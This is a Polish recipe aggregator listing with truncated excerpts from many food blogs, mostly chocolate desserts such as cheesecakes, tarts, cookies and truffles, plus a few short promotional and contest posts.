SERNIK GOTOWANY NA CIASTKACH 124

POLEWA:  200 ml śmietany 30 % 100 g gorzkiej czekolady 100 g mlecznej czekolady 1 łyżka masła 1 łyżeczka żelatyny płatki migdałów do posypania                                                               PRZYGOTOWANIE :  W dużym garnku(...)wykładamy warstwą herbatników, wylewamy na nie część masy serowej, układamy kolejną warstwę herbatników i wylewamy resztę sera. Na wierzch układamy herbatniki.  Sernik chłodzimy. Podgrzewamy kremówkę razem z połamanymi czekoladami, masłem, aż się rozpuszczą. Zakręcamy gaz, dodajemy żelatynę i mieszamy aż się rozpuści. Na zimny sernik wylewamy polewę czekoladową i pozostawiamy do ostygnięcia.  Ciasto chłodzimy w lodówce przez całą

Kulinarne Fantazje Marioli
Migdałowy pudding z kaszy bulgur lub kuskus 183

Składniki 100 g suchej kaszy bulgur lub kuskus 150 g czekolady (gorzkiej, deserowej lub mlecznej) *** 50 ml likieru amaretto 50 g miękkiego masła 3-5 łyżek cukru pudru po 2-3 łyżki zmielonych na pył orzechów i migdałów kilka kropli ekstraktu migdałowego Do dekoracji: sos czekoladowy i kilka czereśni Przygotowanie Kaszę ugotować do miękkości w lekko osolonej wodzie. Połamaną(...)małe kawałki czekoladę rozpuścić z dodatkiem masła, po czym dokładnie wymieszać do połączenia składników. Orzechy i migdały bardzo drobno zmielić i wymieszać z cukrem pudrem Przestudzoną kaszę  zmiksować z pozostałymi składnikami na gładką, aksamitną masę.  W razie potrzeby dosłodzić i ponownie zmiksować. Przygotowaną masą napełnić foremki i odstawić do lodówki do stężenia. Przed podaniem polać sosem czekoladowym

Kulinaria - potrawy z różnych stron świata
czekoladowe ciasto z owocami lata i galaretką 207

składniki: 190 g mąki orkiszowej 50 g czekolady deserowej lub gorzkiej 120 g cukru 30 g kakao 1 jajko 120 ml mleka słodkiego 250 ml mleka kwaśnego 60 ml oleju 1 łyżka dżemu 1/2 łyżeczki sody 1/2 łyżeczki proszku do pieczenia dodatkowo: 2 galaretki wiśniowe 400 g owoców: porzeczki czerwone, czarne, truskawki, czereśnie, jagody 700 ml gorącej wody wykonanie: Mleko(...)podgrzewamy, dodajemy połamaną czekoladę i mieszamy do rozpuszczenia się czekolady. W innym naczyniu miksujemy jajko z cukrem. Wlewamy olej, kwaśne mleko, przestudzone mleko czekoladowe oraz dżem i miksujemy na małych obrotach. Następnie dodajemy mąkę przesianą z kakao, proszkiem do pieczenia oraz sodą i mieszamy przy pomocy szpatułki do połączenia się składników. Przelewamy ciasto do tortownicy (ok. 23 cm średnicy) wyłożonej

Domowy Smak Jedzenia
Koktajl truskawkowo - miętowy z czekoladą 93

zwłaszcza jego letni, żywy kolor, jeden z moich ulubionych! Już od jutra możesz kupić ten blender z akcesoriami w Lidl w bardzo atrakcyjnej cenie, zapraszam! Koktajl truskawkowo - miętowy z czekoladą Składniki: 500 ml maślanki 250 g truskawek 1/2 tabliczki gorzkiej czekolady, zawartość kakao min. 70% 1/3 szklanki listków świeżej mięty cukier lub miód do smaku Przygotowanie: Do pojemnika blendera przelewamy(...)maślankę. Dodajemy umyte truskawki bez szypułek oraz listki świeżej mięty. Całość miksujemy blenderem ręcznym na jednolity płyn. Dodajemy do smaku cukier lub miód. Podajemy z wirókami czekolady. Najlepiej smakuje, gdy maślanka jest zimna

Moja smaczna kuchnia
Czekoladowa tarta z truskawkami 176

Truskawkowej rozpusty ciąg dalszy. Dzisiaj truskawki z mascarpone i czekoladą. Taka mała alternatywa do zeszłorocznej białej wersji tarty z truskawkami ( tu przepis ). Ale żeby nie było, że się tylko kalorycznymi produktami objadam proponuje zajrzeć do sklepu ( naturalniezdrowe.com.pl ) z naturalnymi produktami gdzie znajdziecie mnóstwo zdrowych wspaniałości CZEKOLADOWA TARTA  z TRUSKAWKAMI Składniki: (forma do tarty 24 cm) ciasto:   4 jajka(...)jaglanej   3 łyżki kakao   1 łyżeczka proszku do pieczenia   4 łyżki oleju krem mascarpone: 250 g serka mascarpone 2 łyżki cukru pudru czekoladowy wierzch: 100 g czekolady gorzkiej 3 łyżki mleka kilka truskawek i listki mięty Przygotowanie: ciasto:  Składniki sypkie (mąkę, kakao, proszek do pieczenia) mieszamy razem z miseczce. Białka ubijamy ze szczyptą soli na sztywno

Bon appetit mon amie
Tort bounty z truskawkami DLA TATY 372

jaglanej (ok 125 g) 1 i 1/3 szklanki mleka 1 łyżeczka oleju 3-4 łyżki domowego cukru waniliowego 200 g wiórków kokosowych 100 g miękkiego masła Polewa: 50 g czekolady gorzkiej min. 60 % kakao 50 g czekolady mlecznej 80 ml śmietanki 30% 0,5 łyżeczki miękkiego masła Poza tym: kilka ładnych truskawek do dekoracji wiórki kokosowe do dekoracji /Szklanka(...)wierzchu grubą równą warstwę kremu kokosowego. Wstaw do lodówki na kilkanaście minut do pół godziny. Przygotuj polewę jak w tym przepisie . Śmietankę zagotuj na mniejszym gazie. Wrzuć połamane czekolady, przemieszaj i wyłącz ogień pod rondelkiem. Dodaj masło i mieszaj, do połączenia się składników. Zostaw na parę minut do lekkiego przestudzenia. Letnią polewą polej ciasto, rozsmaruj ją też na brzegach. Wstaw

Anioszek w kuchni
mocno czekoladowe ciasto z advocatem i mandarynkami 122

kroi i jest bardzo podzielne. Dodatkowej soczystości dodają mu mandarynki z puszki. Polecam na rodzinne przyjęcia.   *foremka 23*23 cm Składniki: na ciasto: 125 ml mleka 70 g czekolady deserowej 1/2 szklanki kakao 1 szklanka mąki 2/3 szklanki cukru 1 jajko 70 ml oleju 125 ml kwaśnej śmietany 18% 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej(...)piankę: 350 ml śmietanki kremówki 200 ml advocata 4 łyżeczki żelatyny 50 ml wrzątku puszka mandarynek 3 łyżki cukru pudru Mleko zagotować, zdjąć z ognia, wrzucić połamaną czekoladę i mieszać aż się rozpuści. Odstawić do wystudzenia. Jajko utrzeć z cukrem na białą masę. Ucierając dolewać olej i śmietanę. Dodać mleko z czekoladą.  Mąkę wymieszać z kakao, sodą i proszkiem

Domowa Cukierenka-Domowa Kuchnia
Słodkie przekąski na spacer 171

pokażę Ci moje słodkie propozycje smakołyków, które zabieramy ze sobą z domu. Ze względu na to, że dbam o Lili dietę, nie mogę wejść do sklepu i kupić ciasteczka, czekoladę czy  batonika . Słodkości, które napakowane są chemią, cukrem rafinowanym i syropem glukozowo-fruktozowym mnie nie interesują. Wiem, że jeden taki batonik nie zaszkodzi, ale budujemy dobre nawyki(...)sumie (znając życie) z tego jednego zrobiłyby się trzy w tygodniu, a później  dwadzieścia w miesiącu! Nie chcę dawać takich zapychaczy. Kto po czekoladzie zje z chęcią obiad czy kolację? Wiem, wiem - powtarzam się, ale taka już jestem i zawsze będę Ci przypominać: nie kupuj -> zrób sama.  Jeśli nie zaplanujesz wcześniej zdrowych przegryzek

lady-och-mistrzyni.blogspot.com
Biszkopt z kremem mascarpone i truskawkami 284

schłodzone. Kremówkę i mascarpone ubić na gęstą masę, pod koniec ubijania dodać cukier i chwilę miksować na najmniejszych obrotach miksera. Polewa: 100-120 ml śmietany 30% 50 g gorzkiej czekolady z min. 70% kakao 100 g czekolady deserowej 2-3 łyżki cukru pudru Do rondelka wlać kremówkę, podgrzać aż pojawią się małe bąbelki, dodać pokruszoną czekoladę – wymieszać na gładką

Niebieski kubek z kawa
Ciastka z otrębów z suszonymi owocami z czekoladą (wysokobłonnikowe) 172

zadbać, aby pojawiły się w naszej diecie. Ciasteczka te doskonale zaspokajają ochotę na "coś" słodkiego, są niezwykle syte i bardzo smaczne.  Swój smak zawdzięczają suszonym owocom oraz gorzkiej czekoladzie. Właśnie te dodatki nadają im wyjątkowego smaku i również nie bez znaczenia pozostają dla naszego organizmu. Konsystencja ciastek jest zwarta i lekko miękka, a ich zapach - kuuuszący. (Przypominają mi małe(...)cukru brzozowego (płaskich) 1 jajko (duże) 70g mąki pszennej 60g otrębów (użyłam pszennych ) 1 łyżeczka proszku do pieczenia (płaska) Dodatkowo: 40g suszonych owoców (użyłam moreli, rodzynek i żurawiny) 40g czekolady gorzkiej (może być dowolna) Masło/margarynę utrzeć z cukrem do puszystości. Ciągle mieszając - wbić jajko i następnie wsypać mąkę, otręby oraz proszek do pieczenia. Całość dokładnie połączyć - najlepiej

Di gotuje
Raffaello – przepis 107

tego zachęcam jeśli tak jak ja, lubicie kuleczki Raffaello. Tak przygotowane, domowe Raffaello, będą pięknym i pysznym prezentem dla bliskich Składniki na raffaello: 100g białej czekolady 50g masła 25g cukru pudru 2 garście pokruszonych herbatników 3/4 szklanki wiórków kokosowych+do obtoczenia 20 migdałów obranych Przygotowanie raffaello: Czekoladę roztapiamy w kąpieli wodnej. Masło ucieramy z cukrem pudrem na puszystą masę, dodajemy(...)przestudzoną, ale płynną czekoladę, miksujemy do połączenia się całości. Wsypujemy wiórki i pokruszone herbatniki, mieszamy delikatnie łyżką. Gotową masę schładzamy w lodówce, przez godzinę. Po godzinie z masy formujemy małe kuleczki, wciskając w każdą migdał. Obtaczamy w wiórkach kokosowych i gotowe już pralinki wkładamy do lodówki na 2 godziny, by nieco stwardniały. Artykuł Raffaello – przepis pochodzi z serwisu NiePieprz

NiePieprz.pl
Tartaletki z bitą śmietaną i borówkami amerykańskimi + film 113

Dziś przedstawiam przepis na tartaletki z bitą śmietaną i borówkami amerykańskimi. Polecam je szczególnie smakoszom słodkości. Delikatne, kruche ciasto doskonale komponuje się ze śmietaną i borówkami a dodatek startej czekolady nadaje deserowi wybornego smaku.   Składniki na 18 sztuk : Kruche ciasto: 2 i 1/2 szklanki mąki pszennej 1/3 szklanki cukru pudru 2 żółtka 250 g masła 1 łyżeczka proszku(...)pieczenia Nadzienie : 300 ml śmietanki 30% 3 łyżki cukru pudru 1 opakowanie śmietan- fixu 150 g borówek amerykańskich 50 g startej gorzkiej czekolady Przepis : Przesianą mąkę oraz proszek do pieczenia wsypujemy do miski, dodajemy żółtka, starte na tarce o dużych oczkach masło oraz cukier puder. Wszystkie składniki łączymy dłonią i wyrabiamy ciasto, po czym wstawiamy je do lodówki

Smakowite Dania
sernik na zimno z musem truskawkowo różanym na czekoladowym spodzie 189

składniki na ciasto czekoladowe: 200 g czekolady gorzkiej 150 g cukru pudru 115 g mąki orkiszowej 200 g masła w temperaturze pokojowej 3 jajka wykonanie: Czekoladę rozpuszczamy w kąpieli wodnej. Masło miksujemy z cukrem na puch. Dodajemy stopniowo jajka, miksujemy do połączenia się składników. Dodajemy przesianą mąkę i miksujemy. Wlewamy przestudzoną czekoladę i miksujemy na najniższych obrotach. Ciasto przekładamy

Domowy Smak Jedzenia
Pudding z chia z białą czekoladą 131

kilku minutach zaczynają się „żelować” podobnie jak siemię lniane. Nasion się nie gotuje, gdyż tracą swoje właściwości zdrowotne. Składniki: szklanka pełnego mleka 3 łaskie łyżki nasion chia 25g białej czekolady nasiona z ½ laski wanilii świeże owoce: maliny, jagody, borówki Sposób przygotowania: Mleko podgrzewamy w małym garnku. Wrzucamy pokruszona czekoladę i ziarenka z połowy laski wanilii. Mieszamy dokładnie aż czekolada się

Pyry na Gaz
Frisco.pl - czyli zakupy w piżamie 110

były konkurencyjne w stosunku do znanych mi supermarketów. Poza ceną skusiły mni produkty, których pewnie nie odważyłabym się wpisać mężowi na listę ;) I tutaj muszę wymienić hurtową ilość czekolady (zbliżają się moje urodziny), dobry jakościowo syrop klonowy, odjechane dżemy, co do których mam pewność, że nie tknie ich nikt inny poza mną. Kupiłam gruszkę z limonką i pieprzem oraz konfiturę(...)mogą zamówić dostawę na określony przez siebie dzień i godzinę MINUSY: nie wszystkie produkty są dostępne (np. jako mieszkanka Opola nie mogę kupić produktów świeżych) mały minus za połamaną czekoladę ;)  Zakupione składniki zdążyłam już częściowo wykorzystać. Zrobiłam owsiano-ryżowe mini galette z truskawkami oraz pieczoną owsiankę z truskawkami, bananami i czekoladą. Przepisy w najbliższym czasie pojawią się na blogu

bistro mama
Ciasteczka owsiane z suszonymi bananami i czekoladą 150

zerknęłam na te słodkości - wiedziałam, że muszę je mieć - pomimo, że w mojej głowie istnieje sporo niezrealizowanych i ciągle napływających pomysłów! Ciasteczka są kruche, cudownie pachnące, a czekolada... po prostu rozpływa się w ustach. Można je przechowywać (szczelnie zamknięte) nawet ponad tydzień! Upiekłam dwa duże słoje od Friends of Glass - choć wiem, że szybko opustoszeją... Każdy tylko chodzi po domu(...)żytnie)    1/2 łyżeczki proszku do pieczenia      1/2 łyżeczki sody oczyszczonej Dodatkowo:     50g suszonych bananów     50g czekolady (użyłam mlecznej) Masło/margarynę utrzeć z cukrem i następnie zmiksować z jajkiem. Wsypać mąkę, płatki, proszek do pieczenia i sodę oczyszczoną. Całość dokładnie wymieszać i połączyć z bananami oraz posiekaną

Di gotuje
Proste ciasto bananowe Sophie Dahl. 201

Najprostsze i najszybsze ciasto bananowe jakie znam .Dodatek gorzkiej czekolady sprawia,że jest jeszcze smaczniejsze. Nie trzeba wyjmować miksera,wszystko wymieszasz widelcem lub trzepaczką ręczna. Składniki : mała keksówka Wszystkie składniki muszą mieć temperaturę pokojową!. 2 bardzo dojrzałe banany plus odrobina soku z cytryny 1 jajko 100 g brązowego cukru 75 g masła,rozpuścić ,ostudzić szczypta soli 170 g mąki(...)łyżeczka sody gorzka czekolada ,ja skroiłam nożem około 50 g Banany rozgniatamy na papkę widelcem i skrapiamy sokiem z cytryny aby nie zczerniały .Dodajemy do nich jajko , cukier i roztopione masło i mieszamy do połączenia. Następnie wsypujemy mąkę przesianą z sodą ,sól i czekoladę i ponownie mieszamy na jednolitą masę .Krótko .Na foremkę wyłożoną papierem lub natłuszczoną masłem wykładamy masę

Ladylaura.
Ciasteczka owsiane z masłem orzechowym 136

użyjemy białego to świat się nie zawali) 1 łyżka esencji waniliowej 1 jajko 1 szklanka mąki 1 łyżeczka proszku do pieczenia 1 szklanka płatków owsianych górskich 100 g czekolady (opcjonalnie) pestki dyni, słonecznika (opcjonalnie) Przygotowanie: Masło i masło orzechowe zmiksować na puszystą masę. Dodać cukier, ekstrakt i jajko, zmiksować. Następnie dodać mąkę i proszek do pieczenia. Pokroić na drobne kawałki(...)czekoladę, dodać z płatkami owsianymi do masy i wymieszać łyżką. Blachę do pieczenia wyłożyć papierem, z ciasta formować kulki, ułożyć je w odstępach na blasze i spłaszczyć ręką. Piec 10-15 minut w temperaturze 180*C do uzyskania złotego koloru. Studzić na kratce (zaraz po wyjęciu z piekarnika, ciastka są bardzo mięciutkie, po wystudzeniu robą się kruche), polać czekoladą

Malinowo w kuchni
Ciasto Arbuzowa Alabama 234

łyżka cukru waniliowego, 200g masła, 2 łyżki cukru pudru, 50ml Likieru Vanilla Dalkowski , Mus arbuzowy: 1 kg miąższu z arbuza, 2 opakowania galaretki truskawkowej, Dodatkowo: 1 tabliczka mlecznej czekolady, kandyzowana papaja do dekoracji. PRZYGOTOWANIE: 1. Biszkopt: Białka ubijam na sztywną pianę. Nie przerywając ubijania dodaję kolejno cukier, żółtka, olej, ocet oraz mąkę wymieszaną z kakao i proszkiem do pieczenia. Ciasto(...)masy, wyrównuje. Na masę wykładam gęstniejący mus arbuzowy. Wyrównuję  i odstawiam do stężenia. Na stężony mus wykładam drugą część masy z kaszki, wyrównuję. Masę przykrywam drugim blatem biszkoptu. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Płynną czekoladę rozsmarowuję na cieście. Wierzch ciasta posypuję kandyzowaną papają

Tradycyjna kuchnia Kasi
Chatka Baby Jagi z truskawkami 301

Jagi z masą serową i truskawkami- wyszło bardzo smacznie. Składniki: 12 herbatników, ok. 7 truskawek, 1/2 opakowania sernika na zimno Dr Oetker, 250 ml zimnego mleka, 90 g gorzkiej czekolady, motylki cukrowe , cukier różówy błyszczący Dr Oetker . Przygotowanie:  Na folii aluminiowej układamy 12 herbatników (po 3 w każdym rzędzie) - tak jak na zdjęciu niżej. Masę na sernik miksujemy(...)górze powinna być 2 cm prześwit na masę serową- wygładzamy nożem masę. Ciasto owijamy w folię, lekko dociskając boki. Ciasto chłodzimy ok. 2 godzin w lodówce. Następnie rozpuszczamy czekoladę w kąpieli wodnej i polewamy ciasto czekoladą. Dekorujemy motylkami i cukrem różowym błyszczącym

Aga w kuchni
Bezglutenowe ciasteczka kokosowo-ryżowe z czekoladą (z mąki ryżowej) 139

bardziej zdrowsze i lżejsze.   Ciasteczka te idealnie nadają się dla osób będących na diecie bezglutenowej oraz dla diabetyków. Smakują i pachną... obłędnie! Są kruche, chrupiące, a dodatek czekolady sprawia, że przyjemnie rozpływają się ustach. Spróbujcie, bo naprawdę trudno im się oprzeć! (max 10 sztuk) 90g mąki ryżowej 30g wiórek kokosowych 1 jajko  2-3 łyżki mleka 3 łyżki(...)oleju kokosowego 3 łyżki cukru pudru (w wersji dla diabetyków polecam zmielić ksylitol ) 1/2 łyżeczki proszku do pieczenia Dodatkowo: 50g czekolady (dla diabetyków polecam gorzką) Wszystkie składniki umieścić w misce i wymieszać do uzyskania jednolitej konsystencji. (Ciasto powinno być plastyczne i niezbyt suche.) Na końcu dodać posiekaną (na większe kawałki) czekoladę. Całość odstawić na 10-15 minut, aby mąka ryżowa

Di gotuje
Torcik chałowy 89

łyżka mąki ziemniaczanej - 4 żółtka - 2 łyżeczki cukru waniliowego - 200 g masła - 250 g chałwy waniliowej masa czekoladowa - 4 jajka - 3/4 szklanki cukru - 1 łyżka kakao - 100 g gorzkiej czekolady - 200 g masła - 300 g bezów Przygotowanie: Proporcje podwajamy i pieczemy dwa biszkopty: Białka, cukier i wodę ubijamy na sztywno. Następnie dodajemy po jednym żółtku oraz stopniowo mąkę pszenną, ziemniaczaną(...)wrzenia i studzimy. Masło ucieramy, dodajemy porcjami wystudzoną masę oraz chałwę. Masa czekoladowa: Jajka ubijamy z cukrem na parze, aż podwoi swoją objętość. Zestawiamy z ognia i dodajemy kakao. Czekoladę rozpuszczamy w kąpieli wodnej. Masło ucieramy dodając rozpuszczoną czekoladę oraz masę jajeczną. Biszkopty przekrawamy na pół, nakładamy na niego masę chałwową, następnie bezy, masę czekoladową oraz drugą połowę biszkopta

Zainspirowana w kuchni
Fale Dunaju z Wiśniami 108

mojej familii. Ciasto znane Wam zapewne. Miękkie. Kolorowe. Kiedy je pokroiłam, wizualnie było po prostu piękne. Miękki biszkopt z zatopionymi w nim wiśniami. Przykryty budyniowym puszkiem i opatulony czekoladą. Całość smakuje wyśmienicie:) W towarzystwie kawy, która smużką roztacza swój zapach, drażniąc nozdrza. W akompaniamencie zapachu, który roztaczają hiacynty. To znak, że wiosna się zbliża! Mrozom i zimie już podziękujemy(...)mąki 3 łyżeczki proszku do pieczenia 11 łyżek + 440 ml mleka 2 łyżki kakao 1 opakowanie budyniu waniliowego lub śmietankowego (na 3/4 l mleka) 300 g gorzkiej czekolady/  kuwertury trochę śmietany kremówki tłuszcz do wysmarowania formy 1. Wiśnie odcedzić. 300 g masła i 225 g cukru utrzeć na kremową masę. Dodawać po jednym jajku. Mąkę mieszamy z proszkiem

Kuchnia smaków
rolada kawowa z rodzynkami w rumie 164

choć na co dzień nie jestem smakoszem kawy to absolutnie przypadły mi do gustu dwie z nich: kawa o smaku orzecha laskowego i kawa o smaku mięty z czekoladą. Jeśli lubicie takie połączenie, to gorąco polecam, kawa smakuje jak popularne miętowe czekoladki. Kawę o smaku waniliowym wykorzystałam do zrobienia rolady. Nadziałam ją kremem na bazie mascarpone, z dodatkiem orzechów, kawy(...)mascarpone 250 g śmietanki kremówki łyżeczka kawy waniliowej od tommycafe 4 łyżki rodzynek namoczonych w rumie 2 łyżki posiekanych orzechów opakowanie śnieżki 2 łyżki cukru pudru dodatkowo: 100 g czekolady 2 łyżki mleka posypka czekoladowa Białka ubić z cukrem na sztywno a następnie dodawać po żółtku. Mąkę wymieszać z proszkiem do pieczenia i kakao, przesiać do masy jajecznej, Delikatnie wymieszać

Domowa Cukierenka-Domowa Kuchnia
babka kisielowa z truskawkami i białą czekoladą... 189

cukier 3/4 szklanki, mąka tortowa 1,5 szklanki, olej rzepakowy 1/2 szklanki, proszek do pieczenia 1 łyżeczka, soda oczyszczona 1/2 łyżeczki, kisiel cytrynowy 1 opakowanie, truskawki 25 dag, biała czekolada 100 gram, śmietana gęsta 2 łyżki, kolorowa posypka - ile potrzeba z białek ubić na sztywno pianę, w osobnym pojemniku żółtka utrzeć z cukrem do białości na dużych obrotach wsypać przesianą(...)blaszki przełożyć ciasto, delikatnie powciskać połówki truskawek dość gęsto, piec w 200 C około 45-50 minut do suchego patyczka, ciasto z blaszki wyjąć jak będzie zimne do rozpuszczania czekolady dodaję śmietanę gęstą, polewa jest wtedy bardziej płynna i nie pęka i nie jest twarda... - w kąpieli wodnej rozpuścić białą czekoladę ze śmietaną, polać po wierzchu ciasta, posypać kolorową posypką

W Mojej Kuchni Lubię
Kokosowe trufle. 128

gratulacji i nagród jako najmłodszy uczestnik, że nawet komary przestały być straszne ;) Tak poważny ubytek kaloryczny mogłyśmy uzupełnić tylko w jeden sposób. Pysznym deserem! Przygotowałam trufle kokosowe z białej czekolady i dużej ilości wiórków kokosowych. Bardzo smaczna, mała przekąska. W wersji dla dorosłych można dodać trochę alkoholu. To już nasze ostatnie danie kokosowe. Czekam na następne hasło, a będzie fajne(...)Składniki: tabliczka białej czekolady 3 łyżki śmietany kremówki (30%) 2 łyżki masła 2/3 szkl. wiórków kokosowych kilka łyżek wiórków kokosowych do obtoczenia trufli Wykonanie:  W małym garnku podgrzać śmietankę (nie gotować), dodać połamaną czekoladę, masło i mieszając rozpuścić wszystkie składniki. Następnie dodać wiórki kokosowe, wymieszać, wystudzić i wstawić do lodówki, aby masa stężała (ok. godziny). Formować kulki, obtoczyć każdą

zadanie-gotowanie
Tort czekoladowo-truskawkowy 322

mascarpone 4 łyżki cukru pudru 750 g truskawek   Krem czekoladowy: 250 ml śmietany 30 % 200 g serka mascarpone 3 łyżki cukru pudru 2 łyżki kakao 50 g mlecznej czekolady   Dodatkowo: 1-1,5 kg truskawek rurki waflowe z nadzieniem lub bez (zużyłam 6 opakowań po 160 g) Sposób przygotowania: 1. Biszkopt kakaowy: Białka jajek ubijamy na sztywno. Partiami(...)rozkładamy 1/3 truskawek. Przykrywamy trzecim biszkoptem, dociskamy, smarujemy resztą kremu i wykładamy resztę truskawek. Przykrywamy czwartym blatem biszkoptu. Wkładamy do lodówki aby tort się schłodził. 3.  Krem czekoladowy: Czekoladę roztapiamy na parze i studzimy. Śmietanę ubijamy na sztywno z cukrem pudrem. Następnie dodajemy mascarpone, cukier puder, kakao i studzoną czekoladę i dokładnie całość miksujemy. Gotowym kremem smarujemy boki

Na Ciasteczkowych Papierach
Brownie z truskawkami 135

owocami sprawia, że jest znacznie lżejsze i pięknie się prezentuje z tymi truskawkowymi kawałkami. Inspiracja: Kwestia Smaku Składniki na formę 21x25 cm: 200 g masła 200 g gorzkiej czekolady 3 jajka 100-250 g cukru (ja dałam 100, bo wolę mniej słodkie wypieki, wtedy Wasze brownie będzie bardziej wytrawne) 135 g mąki pszennej 8-10 truskawek Przygotowanie: Piekarnik nagrzać(...)stopni C. Formę do pieczenia posmarować masłem i wyłożyć papierem do pieczenia. Masło włożyć do rondelka i na minimalnym ogniu roztopić. Dodać 2 gorzkie czekolady (200g) połamane na kosteczki i cały czas mieszając roztopić, odstawić z ognia. W oddzielnej misce rozmiksować  jajka z cukrem. Dodać do nich roztopioną czekoladę z masłem, zmiksować na gładką masę. Dodać mąkę i zmiksować

Fabryka pomysłów
Kokosowa pianka z truskawkami 206

lekkiej jak puszek kokosowej pianki, z orzeźwiającymi truskawkami. Napisz opinię Zapisz przepis Drukuj Czas przygotowania 20 min Czas przygotowania 20 min Spód 300 g ciastek zbożowych * 100 g gorzkiej czekolady 125 g masła Pianka kokosowa 500 g jogurtu greckiego 300 ml śmietany 36% 110 g wiórek kokosowych 170 g cukru pudru 25 g żelatyny spożywczej 100 ml wody kilka kropel(...)ekstraktu kokosowego Dodatkowo 250 g truskawek Spód W rondelku rozpuszczamy masło, dodajemy połamana czekoladę i mieszamy do połączenia się składników. Ciastka kruszymy przy pomocy blendera, dodajemy masło z czekoladą i mieszamy do uzyskania mokrego piasku. Dno formy o wymiarach 26x18 wykładamy papierem do pieczenia i przekładamy masę ciasteczkową. Równo i dokładnie dociskamy, aby masa była zwarta. Wstawiamy do lodówki

Wędrówki po kuchni
domowy kopiec kreta 174

szklanka cukru 3/4 szklanki mąki 1/4 szklanki kakao 1 łyżeczka proszku do pieczenia na nadzienie: 500 ml śmietanki kremówki 1 opakowanie śmietan-fixu 50 g dowolnej ciemnej czekolady  3 banany Białka oddzielić od żółtek i ubić na sztywno. Nadal ubijając dosypywać cukier a następnie żółtka. Masę ubić na gęsto. Mąkę wymieszać z proszkiem do pieczenia i kakao, przesiać(...)przez około 30 minut. Wystudzić (najlepiej przez noc). Biszkopt przekroić na połowę, dolną część ułożyć na talerzu a górną pokruszyć drobno. Banany obrać i ułożyć na spodzie biszkopta. czekoladę drobno posiekać. Śmietankę ubić na sztywno z usztywniaczem i wmieszać do niej czekoladę, wyłożyć na banany formując kopiec. Wierzch obsypać pokruszonym biszkoptem lekko dociskając. Odstawić na 2-3 godziny do lodówki

Domowa Cukierenka-Domowa Kuchnia
KONKURS "Słodko, Oryginalnie i Urodzinowo" 153

idealna na babeczki lub małe torty -Zestaw 6 widelczyków deserowych - Książka "Zioła w domowej apteczce" - Sól himalajska - Soja - i na osłodę kruche ciasteczka z żurawiną, jabłkiem i białą czekoladą :) Patera prezentuje się pięknie! :) II miejsce: -Stylowy słoiczek z uchwytem i słomką - Foremki do deserów na zimno -Foremki do kostek lodu - Łuska gryczana -Kawa rozpuszczalna Amigos(...)osłodę orzeszki laskowe w czekoladzie :) III miejsce: - Rozkrajacz do jabłek -Olej konopny 50 ml -Kawa Tchibo Family 250 g -Łuska gryczana - i na osłodę ciastka Dessimo z kremem czekoladowym :)     Drobny upominek za najlepsze życzenia: -obrazek Glaspik z napisem SMILE MORE -Czekolada mleczna z orzechami laskowymi - cukierki Toffi mleczne   Dodatkowo wszystkie zwycięskie przepisy osobiście przetestuję

Nastoletnie Wypiekanie
Zdrowa i domowa chałwa 106

przepis na pyszną domową i zdrową chałwę. Czas przygotowania i ilość porcji 5 minut + 30 minut w lodówce. Produkty 200 g sezamu, 2 łyżki miodu, pół tabliczki gorzkiej czekolady, kilka płatków migdałów. Przygotowanie Sezam wsyp do wysokiego naczynia i zmiksuj za pomocą blędera na gładką masę. Następnie dodaj 2 łyżki miodu i jeszcze raz zmiksuj. W kąpieli wodnej rozpuść(...)pół tabliczki czekolady. Do foremki, na przykład od muffinek, włóż papier do pieczenia i łyżką nałóż masę. Dobrze ją ugnieć. Na wierzch wlej roztopioną czekoladę i posyp płatkami migdałowymi. Tak przygotowaną chałwę włóż na minimum 30 minut do lodówki. Wiem co jem Sezam to przede wszystkim źródło wapnia, 100 g ziarenek zawiera aż 900 mg. Znajdziemy w nim również wysoką

Fit&Fast Kitchen
Ciastka czekoladowe z wiórkami kokosowymi i czekoladą 122

digotuje.blogspot.com Przepis autorski (mój). Ciasteczka są przepyszne i mają miękkie, mocno czekoladowe wnętrze. Już podczas pieczenia kusząco pachną, a później... nie sposób zaprzestać na kilku sztukach! Strasznie wciągają! Czekolada cudownie roztapia się w ustach, a dodatek kokosa sprawia, że każde ciastko przyjemnie chrupie.  (około 18 sztuk) 130g mąki pszennej 50g wiórek kokosowych 1 łyżka kakao (płaska) 1/2 łyżeczki proszku(...)pieczenia 1/4 łyżeczki sody oczyszczonej 90g masła 110g cukru   1 jajko Dodatkowo: 50g czekolady (użyłam mlecznej; może być dowolna)  Suche składniki przesypać do miski i dokładnie połączyć. W drugiej misce zmiksować masło z cukrem. Ciągle mieszając - wbić jajko i na końcu wsypać suche składniki. Czekoladę posiekać (na większe kawałki) i wmieszać do jednolitej masy. Z ciasta formować

Di gotuje
Muffinki bananowo-kokosowe z czekoladą (i truskawkową nutą) 176

upieczeniu. Podczas przygotowywania - już sam zapach kusi i sprawia, że ciężko przejść obojętnie obok gotowej babeczki.  A po ugryzieniu....? Miękkie ciasto bananowo-kokosowe z rozpuszczającą się w ustach czekoladą i do tego lekka słodycz przełamana delikatnym posmakiem truskawek... Pycha!!! (11-12 sztuk) 2 banany (średnie) 80 ml oleju koksowego 50 ml mleka (najlepiej kokosowego, ale może być zwykłe(...)inne roślinne) 1 jajko 150g mąki pszennej 30g wiórek kokosowych 5 łyżek cukru (płaskich) 3/4 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej Dodatkowo:  40g czekolady Wierzch: wiórki koksowe truskawki liofilizowane Banany podusić widelcem (niekoniecznie dokładnie) i zmiksować z jajkiem, mlekiem i rozpuszczonym olejem kokosowym. W drugiej misce wymieszać mąkę, cukier, wiórki,  proszek do pieczenia i sodę oczyszczoną

Di gotuje
ciasto oczy carycy 1164

ciasto do lodówki, aż galaretka całkowicie stężeje. Następnie na galaretkę wykładamy równomiernie pozostałą część masy i przykrywamy drugim blatem. Całość polewamy polewą czekoladową. składniki na polewę czekoladową: 100 g czekolady deserowej 50 g masła wykonanie: Czekoladę łamiemy na kawałeczki i wkładamy do miseczki z masłem. Miseczkę umieszczamy na garnuszku z gotującą się wodą i czekamy, aż czekolada się rozpuści. Mieszamy

Domowy Smak Jedzenia
Maxi King 496

